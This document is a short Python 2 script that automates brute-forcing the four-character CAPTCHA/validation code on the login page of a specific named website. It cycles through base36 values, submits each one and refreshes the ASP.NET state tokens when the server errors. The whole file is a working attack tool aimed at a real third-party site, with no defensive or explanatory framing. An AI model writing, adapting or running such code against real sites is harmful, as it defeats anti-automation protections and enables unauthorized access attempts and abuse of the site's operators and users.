simulate login hsgj168

login_hsgj168.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2
import urllib
from urllib2 import *
import re
import sys

ALPHABET = '0123456789abcdefghijklmnopqrstuvwxyz'

urlAdress = 'http://www.hsgj168.com/baisha.aspx'
postdict = {
    '__VIEWSTATE':'',
    '__EVENTVALIDATION':'',
    'txtUserName':'',
    'Password':'',
    'ValidateCode':'',
    'btnLogin':'登 录',
    'mmmxs':''
}

def base36_encode(num):
	arr = []
	base = len(ALPHABET)
	while num:
		rem = num % base
		num = num // base
		arr.append(ALPHABET[rem])
	arr.reverse()
	return ''.join(arr)

def update_validation(dict):
	content = urllib2.urlopen(urlAdress).read()
	dict['__VIEWSTATE']			= re.compile(r'id="__VIEWSTATE" value="(.*?)"').findall(content)[0]
	dict['__EVENTVALIDATION']	= re.compile(r'id="__EVENTVALIDATION" value="(.*?)"').findall(content)[0]
	return dict


x = int(sys.argv[1])

while x < int(sys.argv[2]):
	postdict['ValidateCode'] = base36_encode(x).zfill(4)

	print "Trying %d [%s] ..." % (x, postdict['ValidateCode']),

	postdata=urllib.urlencode(postdict)
	try:
		response = urllib2.urlopen(urlAdress, postdata)
		if response.read().find('<script>alert(')>0:
			print "Failed"
			x+=1
		else:
			print "Done!"
			break
	except HTTPError, e:
		print e.code
		if e.code == 500:
			postdict = update_validation(postdict)
		else:
			break
	except URLError, e:
		print e.reason
		break